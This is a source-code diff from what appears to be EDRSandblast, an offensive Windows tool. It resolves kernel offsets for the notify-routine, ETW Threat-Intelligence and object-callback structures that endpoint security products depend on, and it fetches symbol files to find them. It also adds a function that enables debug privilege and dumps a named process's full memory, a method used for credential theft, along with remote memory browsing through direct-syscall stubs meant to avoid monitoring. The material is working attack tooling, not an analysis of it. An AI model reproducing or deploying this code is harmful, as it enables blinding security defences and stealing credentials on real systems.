g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo = GetFieldOffset(sym_ctx, "_ETW_GUID_ENTRY", L"ProviderEnableInfo");
|
||||
g_ntoskrnlOffsets.st.psProcessType = GetSymbolAddress(sym_ctx, "PsProcessType");
|
||||
g_ntoskrnlOffsets.st.psThreadType = GetSymbolAddress(sym_ctx, "PsThreadType");
|
||||
g_ntoskrnlOffsets.st.object_type_callbacklist = GetFieldOffset(sym_ctx, "_OBJECT_TYPE", L"CallbackList");
|
||||
UnloadSymbols(sym_ctx, delete_pdb);
|
||||
}
|
||||
|
||||
BOOL NtoskrnlOffsetsAreAllPresent() {
|
||||
return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlEtwtiOffsetsArePresent() && g_ntoskrnlOffsets.st.eprocess_protection != 0 && NtoskrnlObjectCallbackOffsetsArePresent();
|
||||
}
|
||||
|
||||
BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent() {
|
||||
return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlObjectCallbackOffsetsArePresent();
|
||||
}
|
||||
|
||||
BOOL NtoskrnlNotifyRoutinesOffsetsArePresent() {
|
||||
return g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine != 0 &&
|
||||
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine != 0 &&
|
||||
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine != 0;
|
||||
}
|
||||
|
||||
BOOL NtoskrnlEtwtiOffsetsArePresent() {
|
||||
return g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo != 0 &&
|
||||
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry != 0 &&
|
||||
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle != 0;
|
||||
}
|
||||
|
||||
BOOL NtoskrnlObjectCallbackOffsetsArePresent() {
|
||||
return g_ntoskrnlOffsets.st.psProcessType != 0 &&
|
||||
g_ntoskrnlOffsets.st.psThreadType != 0 &&
|
||||
g_ntoskrnlOffsets.st.object_type_callbacklist != 0;
|
||||
}
|
||||
|
||||
TCHAR g_ntoskrnlPath[MAX_PATH] = { 0 };
|
||||
LPTSTR GetNtoskrnlPath() {
|
||||
if (_tcslen(g_ntoskrnlPath) == 0) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
_tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), systemDirectory);
|
||||
_tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
|
||||
}
|
||||
return g_ntoskrnlPath;
|
||||
}
|
||||
|
||||
TCHAR g_ntoskrnlVersion[256] = { 0 };
|
||||
LPTSTR GetNtoskrnlVersion() {
|
||||
if (_tcslen(g_ntoskrnlVersion) == 0) {
|
||||
|
||||
LPTSTR ntoskrnlPath = GetNtoskrnlPath();
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
|
||||
_stprintf_s(g_ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
|
||||
}
|
||||
return g_ntoskrnlVersion;
|
||||
}
|
||||
@@ -2,6 +2,7 @@
|
||||
* Functions that browse the PEB structure instead of relying on GetModuleHandle
|
||||
*/
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "Undoc.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include <stdio.h>
|
||||
@@ -18,7 +19,7 @@ LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name) {
|
||||
}
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
printf("getModuleEntryFromNameW failed to find module\n");
|
||||
printf_or_not("getModuleEntryFromNameW failed to find module\n");
|
||||
#endif // _DEBUG
|
||||
return NULL;
|
||||
}
|
||||
@@ -3,6 +3,7 @@
|
||||
* Among other things, reimplements GetProcAddress and the PE relocation process
|
||||
*/
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "PEParser.h"
|
||||
#include <stdio.h>
|
||||
#include <assert.h>
|
||||
@@ -143,7 +144,7 @@ VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
|
||||
QWORD* relocQwAddress;
|
||||
|
||||
if (pe->isMemoryMapped) {
|
||||
printf("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
|
||||
printf_or_not("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
|
||||
return;
|
||||
}
|
||||
if (NULL == pe->relocations) {
|
||||
@@ -167,7 +168,7 @@ VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
|
||||
*relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
|
||||
break;
|
||||
default:
|
||||
printf("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
|
||||
printf_or_not("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
@@ -208,6 +209,23 @@ PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) {
|
||||
pe->exportedNamesLength = pe->exportDirectory->NumberOfNames;
|
||||
}
|
||||
pe->relocations = NULL;
|
||||
DWORD debugRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
|
||||
if (debugRVA == 0) {
|
||||
pe->debugDirectory = NULL;
|
||||
}
|
||||
else {
|
||||
pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA);
|
||||
if (pe->debugDirectory->Type != IMAGE_DEBUG_TYPE_CODEVIEW) {
|
||||
pe->debugDirectory = NULL;
|
||||
}
|
||||
else {
|
||||
pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData);
|
||||
if (pe->codeviewDebugInfo->signature != *((DWORD*)"RSDS")) {
|
||||
pe->debugDirectory = NULL;
|
||||
pe->codeviewDebugInfo = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
return pe;
|
||||
}
|
||||
|
||||
@@ -255,6 +273,28 @@ PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase) {
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->NumberOfNames, &pe->exportedNamesLength, sizeof(pe->exportedNamesLength), NULL);
|
||||
}
|
||||
pe->relocations = NULL;
|
||||
DWORD debugRVA = 0;
|
||||
ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress, &debugRVA, sizeof(debugRVA), NULL);
|
||||
if (debugRVA == 0) {
|
||||
pe->debugDirectory = NULL;
|
||||
}
|
||||
else {
|
||||
pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA);
|
||||
DWORD debugDirectoryType;
|
||||
ReadProcessMemory(hProcess, &pe->debugDirectory->Type, &debugDirectoryType, sizeof(debugDirectoryType), NULL);
|
||||
if (debugDirectoryType != IMAGE_DEBUG_TYPE_CODEVIEW) {
|
||||
pe->debugDirectory = NULL;
|
||||
}
|
||||
else {
|
||||
pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData);
|
||||
DWORD codeviewDebugInfoSignature;
|
||||
ReadProcessMemory(hProcess, &pe->codeviewDebugInfo->signature, &codeviewDebugInfoSignature, sizeof(pe->codeviewDebugInfo->signature), NULL);
|
||||
if (codeviewDebugInfoSignature != *((DWORD*)"RSDS")) {
|
||||
pe->debugDirectory = NULL;
|
||||
pe->codeviewDebugInfo = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
return pe;
|
||||
}
|
||||
|
||||
@@ -289,6 +329,9 @@ DWORD PE_functionRVA(PE* pe, LPCSTR functionName) {
|
||||
|
||||
PVOID PE_functionAddr(PE* pe, LPCSTR functionName) {
|
||||
DWORD functionRVA = PE_functionRVA(pe, functionName);
|
||||
if (functionRVA == 0) {
|
||||
return NULL;
|
||||
}
|
||||
return PE_RVA_to_Addr(pe, functionRVA);
|
||||
}
|
||||
|
||||
@@ -365,4 +408,13 @@ PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReference
|
||||
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
VOID PE_destroy(PE* pe)
|
||||
{
|
||||
if (pe->relocations) {
|
||||
free(pe->relocations);
|
||||
pe->relocations = NULL;
|
||||
}
|
||||
free(pe);
|
||||
}
|
||||
@@ -0,0 +1,171 @@
|
||||
#include <Windows.h>
|
||||
#include <shlwapi.h>
|
||||
#include <dbghelp.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FileUtils.h"
|
||||
#include "HttpClient.h"
|
||||
#include "PEParser.h"
|
||||
|
||||
#include "PdbSymbols.h"
|
||||
|
||||
|
||||
BOOL DownloadPDB(GUID guid, DWORD age, LPCWSTR pdb_name_w, PBYTE* file, SIZE_T* file_size) {
|
||||
WCHAR full_pdb_uri[MAX_PATH] = { 0 };
|
||||
swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%04hX%04hX%016llX%X/%s", pdb_name_w, guid.Data1, guid.Data2, guid.Data3, _byteswap_uint64(*((DWORD64*)guid.Data4)), age, pdb_name_w);
|
||||
return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size);
|
||||
}
|
||||
|
||||
BOOL DownloadPDBFromPE(PE* image_pe, PBYTE* file, SIZE_T* file_size) {
|
||||
WCHAR pdb_name_w[MAX_PATH] = { 0 };
|
||||
GUID guid = image_pe->codeviewDebugInfo->guid;
|
||||
DWORD age = image_pe->codeviewDebugInfo->age;
|
||||
MultiByteToWideChar(CP_UTF8, 0, image_pe->codeviewDebugInfo->pdbName, -1, pdb_name_w, _countof(pdb_name_w));
|
||||
return DownloadPDB(guid, age, pdb_name_w, file, file_size);
|
||||
}
|
||||
|
||||
BOOL DownloadOriginalFileW(DWORD image_timestamp, DWORD image_size, LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) {
|
||||
WCHAR full_pdb_uri[MAX_PATH] = { 0 };
|
||||
swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%X/%s", image_name, image_timestamp, image_size, image_name);
|
||||
return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size);
|
||||
}
|
||||
|
||||
BOOL DownloadOriginalFileFromPE(PE* image_pe, _In_opt_ LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) {
|
||||
DWORD image_size = image_pe->optHeader->SizeOfImage;
|
||||
//useless check
|
||||
if (image_size & 0xFFF) {
|
||||
image_size &= ~0xFFF;
|
||||
image_size += 0x1000;
|
||||
}
|
||||
DWORD image_timestamp = image_pe->ntHeader->FileHeader.TimeDateStamp;
|
||||
WCHAR image_name_w[MAX_PATH] = { 0 };
|
||||
if (image_name == NULL) {
|
||||
if (image_pe->exportDirectory != NULL) {
|
||||
LPCSTR image_name_a = (LPCSTR)PE_RVA_to_Addr(image_pe, image_pe->exportDirectory->Name);
|
||||
MultiByteToWideChar(CP_UTF8, 0, image_name_a, -1, image_name_w, _countof(image_name_w));
|
||||
image_name = image_name_w;
|
||||
}
|
||||
else {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
return DownloadOriginalFileW(image_timestamp, image_size, image_name, file, file_size);
|
||||
}
|
||||
|
||||
|
||||
symbol_ctx* LoadSymbolsFromPE(PE* pe) {
|
||||
symbol_ctx* ctx = calloc(1, sizeof(symbol_ctx));
|
||||
if (ctx == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
int size_needed = MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, NULL, 0);
|
||||
ctx->pdb_name_w = calloc(size_needed, sizeof(WCHAR));
|
||||
MultiByteToWideChar(CP_UTF8, 0, pe->codeviewDebugInfo->pdbName, -1, ctx->pdb_name_w, size_needed);
|
||||
if (!FileExistsW(ctx->pdb_name_w)) {
|
||||
PBYTE file;
|
||||
SIZE_T file_size;
|
||||
BOOL res = DownloadPDBFromPE(pe, &file, &file_size);
|
||||
if (!res) {
|
||||
free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
WriteFullFileW(ctx->pdb_name_w, file, file_size);
|
||||
free(file);
|
||||
}
|
||||
DWORD64 asked_pdb_base_addr = 0x1337000;
|
||||
DWORD pdb_image_size = MAXDWORD;
|
||||
HANDLE cp = GetCurrentProcess();
|
||||
if (!SymInitialize(cp, NULL, FALSE)) {
|
||||
free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
ctx->sym_handle = cp;
|
||||
|
||||
DWORD64 pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0);
|
||||
while (pdb_base_addr == 0) {
|
||||
DWORD err = GetLastError();
|
||||
if (err == ERROR_SUCCESS)
|
||||
break;
|
||||
if (err == ERROR_FILE_NOT_FOUND) {
|
||||
printf_or_not("PDB file not found\n");
|
||||
SymUnloadModule(cp, asked_pdb_base_addr);//TODO : fix handle leak
|
||||
SymCleanup(cp);
|
||||
free(ctx);
|
||||
return NULL;
|
||||
}
|
||||
printf_or_not("SymLoadModuleExW, error 0x%x\n", GetLastError());
|
||||
asked_pdb_base_addr += 0x1000000;
|
||||
pdb_base_addr = SymLoadModuleExW(cp, NULL, ctx->pdb_name_w, NULL, asked_pdb_base_addr, pdb_image_size, NULL, 0);
|
||||
}
|
||||
ctx->pdb_base_addr = pdb_base_addr;
|
||||
return ctx;
|
||||
}
|
||||
|
||||
symbol_ctx* LoadSymbolsFromImageFile(LPCWSTR image_file_path) {
|
||||
PVOID image_content = ReadFullFileW(image_file_path);
|
||||
PE* pe = PE_create(image_content, FALSE);
|
||||
symbol_ctx* ctx = LoadSymbolsFromPE(pe);
|
||||
PE_destroy(pe);
|
||||
free(image_content);
|
||||
return ctx;
|
||||
}
|
||||
|
||||
DWORD64 GetSymbolAddress(symbol_ctx* ctx, LPCSTR symbol_name) {
|
||||
SYMBOL_INFO_PACKAGE si = { 0 };
|
||||
si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
|
||||
si.si.MaxNameLen = sizeof(si.name);
|
||||
SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, symbol_name, &si.si);
|
||||
return si.si.Address - ctx->pdb_base_addr;
|
||||
}
|
||||
|
||||
DWORD GetFieldOffset(symbol_ctx* ctx, LPCSTR struct_name, LPCWSTR field_name) {
|
||||
SYMBOL_INFO_PACKAGE si = {0};
|
||||
si.si.SizeOfStruct = sizeof(SYMBOL_INFO);
|
||||
si.si.MaxNameLen = sizeof(si.name);
|
||||
BOOL res = SymGetTypeFromName(ctx->sym_handle, ctx->pdb_base_addr, struct_name, &si.si);
|
||||
if (!res) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
TI_FINDCHILDREN_PARAMS* childrenParam = calloc(1, sizeof(TI_FINDCHILDREN_PARAMS));
|
||||
if (childrenParam == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_GET_CHILDRENCOUNT, &childrenParam->Count);
|
||||
if (!res){
|
||||
return 0;
|
||||
}
|
||||
TI_FINDCHILDREN_PARAMS* ptr = realloc(childrenParam, sizeof(TI_FINDCHILDREN_PARAMS) + childrenParam->Count * sizeof(ULONG));
|
||||
if (ptr == NULL) {
|
||||
free(childrenParam);
|
||||
return 0;
|
||||
}
|
||||
childrenParam = ptr;
|
||||
res = SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, si.si.TypeIndex, TI_FINDCHILDREN, childrenParam);
|
||||
DWORD offset = 0;
|
||||
for (ULONG i = 0; i < childrenParam->Count; i++) {
|
||||
ULONG childID = childrenParam->ChildId[i];
|
||||
WCHAR* name = NULL;
|
||||
SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_SYMNAME, &name);
|
||||
if (wcscmp(field_name, name)) {
|
||||
continue;
|
||||
}
|
||||
SymGetTypeInfo(ctx->sym_handle, ctx->pdb_base_addr, childID, TI_GET_OFFSET, &offset);
|
||||
break;
|
||||
}
|
||||
free(childrenParam);
|
||||
return offset;
|
||||
}
|
||||
|
||||
void UnloadSymbols(symbol_ctx* ctx, BOOL delete_pdb) {
|
||||
SymUnloadModule(ctx->sym_handle, ctx->pdb_base_addr);
|
||||
SymCleanup(ctx->sym_handle);
|
||||
if (delete_pdb) {
|
||||
DeleteFileW(ctx->pdb_name_w);
|
||||
}
|
||||
free(ctx->pdb_name_w);
|
||||
ctx->pdb_name_w = NULL;
|
||||
free(ctx);
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
/*
|
||||
|
||||
--- Process dump functions.
|
||||
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <minidumpapiset.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "PEParser.h"
|
||||
#include "ProcessDump.h"
|
||||
|
||||
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
|
||||
LUID luid;
|
||||
BOOL bRet = FALSE;
|
||||
|
||||
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) {
|
||||
TOKEN_PRIVILEGES tp = { 0 };
|
||||
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
|
||||
bRet = (GetLastError() == ERROR_SUCCESS);
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
DWORD WINAPI dumpProcess(LPTSTR processName, TCHAR* outputDumpFile) {
|
||||
HANDLE hProcessSnap;
|
||||
HANDLE hProcess;
|
||||
PROCESSENTRY32 pe32 = { 0 };
|
||||
|
||||
//Enable the SeDebugPrivilege
|
||||
HANDLE hToken;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
|
||||
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"), processName);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set the size of the structure before using it.
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// Retrieve information about the first process,
|
||||
// and exit if unsuccessful
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: obtained invalid process handle\n"), processName); // show cause of failure
|
||||
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||
return 1;
|
||||
}
|
||||
|
||||
//HANDLE hDbghelp = LoadLibrary(TEXT("dbgcore.dll"));
|
||||
//PE* dbghelpPe = PE_create(hDbghelp, TRUE);
|
||||
//_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) PE_functionAddr(dbghelpPe, "MiniDumpWriteDump");
|
||||
|
||||
_MiniDumpWriteDump MiniDumpWriteDumpFunc = (_MiniDumpWriteDump) GetProcAddress(LoadLibrary(TEXT("dbghelp.dll")), "MiniDumpWriteDump");
|
||||
|
||||
// Now walk the snapshot of processes, and look for the specified process.
|
||||
do {
|
||||
if (_tcscmp(pe32.szExeFile, processName)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't open process memory (OpenProcesswith error 0x%x)\n"), processName, GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
HANDLE hDumpFile = CreateFile(outputDumpFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hDumpFile == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't create dump file (CreateFile)\n"), processName);
|
||||
return 1;
|
||||
}
|
||||
BOOL dumped = MiniDumpWriteDumpFunc(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
|
||||
if (!dumped) {
|
||||
_tprintf_or_not(TEXT("[!] %s dump failed: couldn't dump process (MiniDumpWriteDump with error 0x%x)\n"), processName, GetLastError());
|
||||
return 1;
|
||||
}
|
||||
_tprintf_or_not(TEXT("[+] %s sucessfully dumped to: %s\n"), processName, outputDumpFile);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI dumpProcessFromThread(PVOID* args) {
|
||||
return dumpProcess(args[0], args[1]);
|
||||
}
|
||||
@@ -0,0 +1,211 @@
|
||||
#include "RemotePEBBrowser.h"
|
||||
#include "SW2_Syscalls.h"
|
||||
|
||||
PVOID GetRVA(ULONG_PTR baseAddress, ULONG_PTR RVA) {
|
||||
return (PVOID)(baseAddress + RVA);
|
||||
}
|
||||
|
||||
// Return a pointer to the target process (PEB) Ldr's InMemoryOrderModuleList.
|
||||
PLDR_DATA_TABLE_ENTRY getPebLdrAddress(HANDLE hProcess) {
|
||||
// Get target process PEB address.
|
||||
PROCESS_BASIC_INFORMATION basicInfo = { 0 };
|
||||
basicInfo.PebBaseAddress = 0;
|
||||
PROCESSINFOCLASS ProcessInformationClass = 0;
|
||||
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process PEB address\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#if _WIN64
|
||||
PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB64, Ldr));
|
||||
#else
|
||||
PVOID pPebLdrAddress = (PVOID)((ULONG_PTR) basicInfo.PebBaseAddress + offsetof(PEB, Ldr));
|
||||
#endif
|
||||
|
||||
PPEB_LDR_DATA pprocessLdr = NULL;
|
||||
status = NtReadVirtualMemory(hProcess, pPebLdrAddress, &pprocessLdr, sizeof(PPEB_LDR_DATA), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get target process Ldr address (NtReadVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// As PLDR_DATA_TABLE_ENTRY starts with InLoadOrderLinks while PEB_LDR_DATA's InLoadOrderModuleList is at offset 0x0C.
|
||||
return (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pprocessLdr) + offsetof(PEB_LDR_DATA, InLoadOrderModuleList));
|
||||
}
|
||||
|
||||
PMODULE_INFO createModuleInfo(HANDLE hProcess, PLDR_DATA_TABLE_ENTRY ldrEntry) {
|
||||
PMODULE_INFO newModuleInfo = calloc(1, sizeof(MODULE_INFO));
|
||||
|
||||
if (!newModuleInfo) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't allocate new module info\n"));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
newModuleInfo->next = NULL;
|
||||
newModuleInfo->dllBase = (ULONG64)(ULONG_PTR) ldrEntry->DllBase;
|
||||
newModuleInfo->ImageSize = ldrEntry->SizeOfImage;
|
||||
newModuleInfo->timeDateStamp = ldrEntry->TimeDateStampOrLoadedImports.TimeDateStamp;
|
||||
newModuleInfo->checkSum = ldrEntry->HashLinksOrSectionPointerAndCheckSum.SectionPointerAndCheckSum.CheckSum;
|
||||
|
||||
// read the full path of the DLL
|
||||
NTSTATUS status = NtReadVirtualMemory(hProcess, (PVOID) ldrEntry->FullDllName.Buffer, newModuleInfo->dllName, ldrEntry->FullDllName.Length, NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't retrieve dllName from Ldr entry (NtReadVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return newModuleInfo;
|
||||
}
|
||||
|
||||
PMODULE_INFO getModulesInLdrByInMemoryOrder(HANDLE hProcess) {
|
||||
PMODULE_INFO pmoduleList = NULL;
|
||||
NTSTATUS status = FALSE;
|
||||
|
||||
// Retrieve the remote process Ldr address as pseudo PLDR_DATA_TABLE_ENTRY.
|
||||
PLDR_DATA_TABLE_ENTRY pLdrAddressInPeb = getPebLdrAddress(hProcess);
|
||||
if (!pLdrAddressInPeb) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Iterate over the linked list by InMemoryOrderModuleList order.
|
||||
LDR_DATA_TABLE_ENTRY LdrCurrentEntry;
|
||||
PLDR_DATA_TABLE_ENTRY pLdrCurrentEntryAddress = pLdrAddressInPeb;
|
||||
|
||||
while (TRUE) {
|
||||
// Add InMemoryOrderLinks offset to iterate on InMemoryOrderLinks order (by retrieving the ptr at InMemoryOrderLinks).
|
||||
status = NtReadVirtualMemory(hProcess, ((PBYTE) pLdrCurrentEntryAddress) + offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), &pLdrCurrentEntryAddress, sizeof(PLDR_DATA_TABLE_ENTRY), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList first element address (NtReadVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Substract InMemoryOrderLinks offset to be at the top of the LDR_DATA_TABLE_ENTRY struct.
|
||||
pLdrCurrentEntryAddress = (PLDR_DATA_TABLE_ENTRY)(((PBYTE)pLdrCurrentEntryAddress) - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks));
|
||||
|
||||
// Looped back to the first entry.
|
||||
if (pLdrAddressInPeb == pLdrCurrentEntryAddress) {
|
||||
break;
|
||||
}
|
||||
|
||||
// Read LDR_DATA_TABLE_ENTRY data for the current element.
|
||||
status = NtReadVirtualMemory(hProcess, pLdrCurrentEntryAddress, &LdrCurrentEntry, sizeof(LDR_DATA_TABLE_ENTRY), NULL);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Module parsing failed: couldn't get Ldr InLoadOrderModuleList next element (NtReadVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Create module info for list using the current LDR_DATA_TABLE_ENTRY entry.
|
||||
PMODULE_INFO pnewModuleInfo = createModuleInfo(hProcess, &LdrCurrentEntry);
|
||||
if (!pnewModuleInfo) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Insert the new module info element to the module list.
|
||||
if (!pmoduleList) {
|
||||
pmoduleList = pnewModuleInfo;
|
||||
}
|
||||
else {
|
||||
PMODULE_INFO plastModule = pmoduleList;
|
||||
while (plastModule->next) {
|
||||
plastModule = plastModule->next;
|
||||
}
|
||||
plastModule->next = pnewModuleInfo;
|
||||
}
|
||||
}
|
||||
|
||||
return pmoduleList;
|
||||
}
|
||||
|
||||
PMEMORY_PAGE_INFO getMemoryPagesInfo(HANDLE hProcess, BOOL filterPage) {
|
||||
PMEMORY_PAGE_INFO prangesList = NULL;
|
||||
PMEMORY_PAGE_INFO newRange = NULL;
|
||||
PVOID baseAddress = NULL;
|
||||
PVOID currentAddress = NULL;
|
||||
ULONG64 regionSize = 0;
|
||||
MEMORY_INFORMATION_CLASS memoryInfoClass = { 0 };
|
||||
MEMORY_BASIC_INFORMATION memoryBasicInfo = { 0 };
|
||||
NTSTATUS status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
while (TRUE) {
|
||||
status = NtQueryVirtualMemory(hProcess, (PVOID)currentAddress, memoryInfoClass, &memoryBasicInfo, sizeof(memoryBasicInfo), NULL);
|
||||
|
||||
// The specified base address is outside the range of accessible addresses, iteration is finished.
|
||||
if (status == STATUS_INVALID_PARAMETER) {
|
||||
break;
|
||||
}
|
||||
else if (!NT_SUCCESS(status)) {
|
||||
_tprintf_or_not(TEXT("[-] Memory pages info retrieval failed: couldn't query memory page (NtQueryVirtualMemory error 0x%x).\n"), status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
baseAddress = memoryBasicInfo.BaseAddress;
|
||||
regionSize = memoryBasicInfo.RegionSize;
|
||||
|
||||
// Overflow.
|
||||
if (((ULONG_PTR) baseAddress + regionSize) < (ULONG_PTR) baseAddress) {
|
||||
break;
|
||||
}
|
||||
|
||||
// Next memory range.
|
||||
currentAddress = (PVOID) GetRVA((ULONG_PTR) baseAddress, (ULONG_PTR) regionSize);
|
||||
|
||||
